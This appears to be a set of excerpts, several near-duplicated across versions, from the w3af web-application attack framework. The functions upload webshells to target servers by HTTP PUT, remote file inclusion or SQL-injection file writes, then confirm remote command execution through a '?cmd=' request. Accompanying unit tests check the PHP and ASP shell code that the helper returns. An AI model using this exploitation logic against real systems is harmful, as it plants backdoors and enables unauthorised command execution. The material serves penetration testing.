def _create_file(self, extension): ''' Create a file with a webshell as content. :return: Name of the file that was created. ''' # Get content file_content, real_extension = shell_handler.get_webshells( extension, force_extension=True)[0] if extension == '': extension = real_extension # Open target temp_dir = get_temp_dir() low_level_fd, path_name = tempfile.mkstemp(prefix='w3af_', suffix='.' + extension, dir=temp_dir) file_handler = os.fdopen(low_level_fd, "w+b") # Write content to target file_handler.write(file_content) file_handler.close() path, file_name = os.path.split(path_name) return path, file_name
def test_get_web_shell_code_extension_force(self): shells = get_webshells("php", True) # Only one returned since we're forcing the extension self.assertEqual(len(shells), 1) php_shell_code, lang = shells[0] self.assertEqual(lang, "php") self.assertIn("echo ", php_shell_code)
def test_get_web_shell_code_extension_force(self): shells = get_webshells('php', True) # Only one returned since we're forcing the extension self.assertEqual(len(shells), 1) php_shell_code, lang = shells[0] self.assertEqual(lang, 'php') self.assertIn('echo ', php_shell_code)
def test_get_web_shell_extension(self): shells = get_webshells('php') self.assertEqual(len(shells), 6) # The first one is PHP since we asked for it when we passed PHP as # parameter php_shell_code, lang = shells[0] self.assertEqual(lang, 'php') self.assertIn('echo ', php_shell_code)
def test_get_web_shell_extension(self): shells = get_webshells("php") self.assertEqual(len(shells), 6) # The first one is PHP since we asked for it when we passed PHP as # parameter php_shell_code, lang = shells[0] self.assertEqual(lang, "php") self.assertIn("echo ", php_shell_code)
def _verify_vuln(self, vuln_obj): ''' This command verifies a vuln. This is really hard work! :P :return : True if vuln can be exploited. ''' # Create the shell filename = rand_alpha(7) extension = vuln_obj.get_url().get_extension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: if extension == '': extension = real_extension om.out.debug('Uploading shell with extension: "%s".' % extension) # Upload the shell fname = '%s.%s' % (filename, extension) url_to_upload = vuln_obj.get_url().url_join(fname) om.out.debug( 'Uploading file %s using PUT method.' % url_to_upload) self._uri_opener.PUT(url_to_upload, data=file_content) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER exploit_url = URL(url_to_upload + '?cmd=') response = self._uri_opener.GET(exploit_url) if shell_handler.SHELL_IDENTIFIER in response.get_body(): msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\ ' verifies that the file was uploaded and is being executed.' om.out.debug(msg) self._exploit_url = exploit_url return True else: msg = 'The uploaded shell with extension: "%s" did NOT return'\ ' the SHELL_IDENTIFIER, which means that the file was not'\ ' uploaded to the remote server or the code is not being'\ ' run. The returned body was: "%s".' % (extension, response.get_body()) om.out.debug(msg) extension = ''
def _verify_vuln(self, vuln_obj): ''' This command verifies a vuln. This is really hard work! :P :return : True if vuln can be exploited. ''' # Create the shell filename = rand_alpha(7) extension = vuln_obj.get_url().get_extension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: if extension == '': extension = real_extension om.out.debug('Uploading shell with extension: "%s".' % extension) # Upload the shell fname = '%s.%s' % (filename, extension) url_to_upload = vuln_obj.get_url().url_join(fname) om.out.debug('Uploading file %s using PUT method.' % url_to_upload) self._uri_opener.PUT(url_to_upload, data=file_content) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER exploit_url = URL(url_to_upload + '?cmd=') response = self._uri_opener.GET(exploit_url) if shell_handler.SHELL_IDENTIFIER in response.get_body(): msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\ ' verifies that the file was uploaded and is being executed.' om.out.debug(msg) self._exploit_url = exploit_url return True else: msg = 'The uploaded shell with extension: "%s" did NOT return'\ ' the SHELL_IDENTIFIER, which means that the file was not'\ ' uploaded to the remote server or the code is not being'\ ' run. The returned body was: "%s".' % (extension, response.get_body()) om.out.debug(msg) extension = ''
def test_with_kb_data(self): kb.kb.raw_write("server_header", "powered_by_string", ["ASP foo bar"]) shells = get_webshells("") # TODO: The shells list has duplicates, fix in the future. Not really a # big issue since it would translate into 1 more HTTP request and # only in the cases where the user is exploiting something self.assertEqual(len(shells), 7) # The first one is ASP since we're scanning (according to the KB) an # ASP site asp_shell_code, lang = shells[0] self.assertEqual(lang, "asp") self.assertIn("WSCRIPT.SHELL", asp_shell_code) kb.kb.cleanup()
def _verifyVuln( self, vuln_obj ): ''' This command verifies a vuln. This is really hard work! :P @return : True if vuln can be exploited. ''' # Create the shell filename = createRandAlpha( 7 ) extension = vuln_obj.getURL().getExtension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells( extension ) for file_content, real_extension in shell_list: if extension == '': extension = real_extension om.out.debug('Uploading shell with extension: "'+extension+'".' ) # Upload the shell url_to_upload = vuln_obj.getURL().urlJoin( filename + '.' + extension ) om.out.debug('Uploading file: ' + url_to_upload ) self._urlOpener.PUT( url_to_upload, data=file_content ) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER exploit_url = url_object( url_to_upload + '?cmd=' ) response = self._urlOpener.GET( exploit_url ) if shell_handler.SHELL_IDENTIFIER in response.getBody(): msg = 'The uploaded shell returned the SHELL_IDENTIFIER: "' msg += shell_handler.SHELL_IDENTIFIER + '".' om.out.debug( msg ) self._exploit_url = exploit_url return True else: msg = 'The uploaded shell with extension: "' + extension msg += '" DIDN\'T returned what we expected, it returned: ' + response.getBody() om.out.debug( msg ) extension = ''
def test_with_kb_data(self): kb.kb.raw_write('server_header', 'powered_by_string', [ 'ASP foo bar', ]) shells = get_webshells('') # TODO: The shells list has duplicates, fix in the future. Not really a # big issue since it would translate into 1 more HTTP request and # only in the cases where the user is exploiting something self.assertEqual(len(shells), 7) # The first one is ASP since we're scanning (according to the KB) an # ASP site asp_shell_code, lang = shells[0] self.assertEqual(lang, 'asp') self.assertIn('WSCRIPT.SHELL', asp_shell_code) kb.kb.cleanup()
def _create_file( self, extension ): ''' Create a file with a webshell as content. @return: Name of the file that was created. ''' # Get content file_content, real_extension = shell_handler.get_webshells( extension, forceExtension=True )[0] if extension == '': extension = real_extension # Open target temp_dir = get_temp_dir() low_level_fd, self._path_name = tempfile.mkstemp(prefix='w3af_', suffix='.' + extension, dir=temp_dir) file_handler = os.fdopen(low_level_fd, "w+b") # Write content to target file_handler.write(file_content) file_handler.close() _path, self._file_name = os.path.split(self._path_name) return self._path_name
def _create_file(self, extension): """ Create a file with a webshell as content. :return: Name of the file that was created. """ # Get content file_content, real_extension = shell_handler.get_webshells(extension, force_extension=True)[0] if extension == "": extension = real_extension # Open target temp_dir = get_temp_dir() low_level_fd, path_name = tempfile.mkstemp(prefix="w3af_", suffix="." + extension, dir=temp_dir) file_handler = os.fdopen(low_level_fd, "w+b") # Write content to target file_handler.write(file_content) file_handler.close() path, file_name = os.path.split(path_name) return path, file_name
def _verify_vuln(self, vuln): ''' This command verifies a vuln. This is really hard work! :return : True if vuln can be exploited. ''' extension = vuln.get_url().get_extension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: # # This for loop aims to exploit the RFI vulnerability and get remote # code execution. # if extension == '': extension = real_extension url_to_include = self._gen_url_to_include(file_content, extension) # Prepare for exploitation... function_reference = getattr(self._uri_opener, vuln.get_method()) data_container = vuln.get_dc() data_container[vuln.get_var()] = url_to_include try: http_res = function_reference(vuln.get_url(), str(data_container)) except: continue else: if shell_handler.SHELL_IDENTIFIER in http_res.body: self._exploit_dc = data_container return SUCCESS_COMPLETE else: # Remove the file from the local webserver webroot self._rm_file(url_to_include) else: # # We get here when it was impossible to create a RFI shell, but we # still might be able to do some interesting stuff through error # messages shown by the web application # function_reference = getattr(self._uri_opener, vuln.get_method()) data_container = vuln.get_dc() # A port that should "always" be closed, data_container[vuln.get_var()] = 'http://localhost:92/' try: http_response = function_reference( vuln.get_url(), str(data_container)) except: return False else: rfi_errors = ['php_network_getaddresses: getaddrinfo', 'failed to open stream: Connection refused in'] for error in rfi_errors: if error in http_response.get_body(): return SUCCESS_OPEN_PORT return NO_SUCCESS
def _upload_webshell(self, driver, vuln_obj): ''' First, upload any file to the target webroot. Once I've found the target webroot (or any other location inside the webroot where I can write a file) try to upload a webshell and test for execution. @parameter driver: The database driver to use in order to upload the file. @parameter vuln_obj: The vulnerability that we are exploiting. @return: The webshell URL if the webshell was uploaded, or None if the process failed. ''' upload_success = False # First, we test if we can upload a file into a directory we can access: webroot_dirs = get_webroot_dirs( urlParser.getDomain(vuln_obj.getURL()) ) for webroot in webroot_dirs: if upload_success: break # w3af found a lot of directories, and we are going to use that knowledgeBase # because one of the dirs may be writable and one may not! for path in self._get_site_directories(): # Create the remote_path remote_path = webroot + '/' + path # Create the filename remote_filename = createRandAlNum( 8 ) + '.' + createRandAlNum(3) remote_path += '/' + remote_filename # And just in case... remove double slashes for i in xrange(3): remote_path = remote_path.replace('//', '/') # Create the content (which will also act as the test_string) test_string = content = createRandAlNum(16) # Create the test URL test_url = urlParser.urlJoin(vuln_obj.getURL(), path + '/' + remote_filename ) if self._upload_file( driver, remote_path, content, test_url, test_string): upload_success = True om.out.console('Successfully wrote a file to the webroot.') break # We can upload files, and we know where they are uploaded, now we # just need to upload a webshell that works in that environment! if upload_success: om.out.console('Trying to write a webshell.') # Get the extension from the vulnerable script extension = urlParser.getExtension( vuln_obj.getURL() ) for file_content, real_extension in shell_handler.get_webshells( extension ): # Create the variables to upload the file, based on the success of the # previous for loop: remote_path = remote_path[:remote_path.rfind('/')] filename = createRandAlNum( 8 ) remote_path += '/' + filename + '.' + real_extension # And now do "the same thing" with the URL test_url = test_url[:test_url.rfind('/')] test_url += '/' + filename + '.' + real_extension + '?cmd=' # Upload & test if self._upload_file( driver, remote_path, file_content, test_url, shell_handler.SHELL_IDENTIFIER): # Complete success! om.out.console('Successfully installed a webshell in the target server!') return test_url return None
def _verifyVuln(self, vuln): ''' This command verifies a vuln. This is really hard work! @return : True if vuln can be exploited. ''' # Create the shell extension = urlParser.getExtension( vuln.getURL() ) # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells( extension ) for file_content, real_extension in shell_list: # # This for loop aims to exploit the RFI vulnerability and get remote # code execution. # if extension == '': extension = real_extension url_to_include = self._gen_url_to_include(file_content, extension) # Start local webserver webroot_path = os.path.join(get_home_dir(), 'webroot') webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) # Prepare for exploitation... function_reference = getattr(self._urlOpener, vuln.getMethod()) data_container = vuln.getDc() data_container[vuln.getVar()] = url_to_include try: http_res = function_reference(vuln.getURL(), str(data_container)) except: successfully_exploited = False else: successfully_exploited = self._define_exact_cut( http_res.getBody(), shell_handler.SHELL_IDENTIFIER) if successfully_exploited: self._exploit_dc = data_container return SUCCESS_COMPLETE else: # Remove the file from the local webserver webroot self._rm_file(url_to_include) else: # # We get here when it was impossible to create a RFI shell, but we # still might be able to do some interesting stuff # function_reference = getattr( self._urlOpener , vuln.getMethod() ) data_container = vuln.getDc() # A port that should "always" be closed, data_container[ vuln.getVar() ] = 'http://localhost:92/' try: http_response = function_reference( vuln.getURL(), str(data_container) ) except: return False else: rfi_errors = ['php_network_getaddresses: getaddrinfo', 'failed to open stream: Connection refused in'] for error in rfi_errors: if error in http_response.getBody(): return SUCCESS_OPEN_PORT return NO_SUCCESS
def test_get_web_shell_code_invalid_extension(self): shells = get_webshells('123456') # All returned when invalid extension self.assertEqual(len(shells), 6)
def _verify_vuln(self, vuln): ''' This command verifies a vuln. This is really hard work! :return : True if vuln can be exploited. ''' extension = vuln.get_url().get_extension() # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: # # This for loop aims to exploit the RFI vulnerability and get remote # code execution. # if extension == '': extension = real_extension url_to_include = self._gen_url_to_include(file_content, extension) # Prepare for exploitation... function_reference = getattr(self._uri_opener, vuln.get_method()) data_container = vuln.get_dc() data_container[vuln.get_var()] = url_to_include try: http_res = function_reference(vuln.get_url(), str(data_container)) except: continue else: if shell_handler.SHELL_IDENTIFIER in http_res.body: self._exploit_dc = data_container return SUCCESS_COMPLETE else: # Remove the file from the local webserver webroot self._rm_file(url_to_include) else: # # We get here when it was impossible to create a RFI shell, but we # still might be able to do some interesting stuff through error # messages shown by the web application # function_reference = getattr(self._uri_opener, vuln.get_method()) data_container = vuln.get_dc() # A port that should "always" be closed, data_container[vuln.get_var()] = 'http://localhost:92/' try: http_response = function_reference(vuln.get_url(), str(data_container)) except: return False else: rfi_errors = [ 'php_network_getaddresses: getaddrinfo', 'failed to open stream: Connection refused in' ] for error in rfi_errors: if error in http_response.get_body(): return SUCCESS_OPEN_PORT return NO_SUCCESS
def test_get_web_shell_code_invalid_extension(self): shells = get_webshells("123456") # All returned when invalid extension self.assertEqual(len(shells), 6)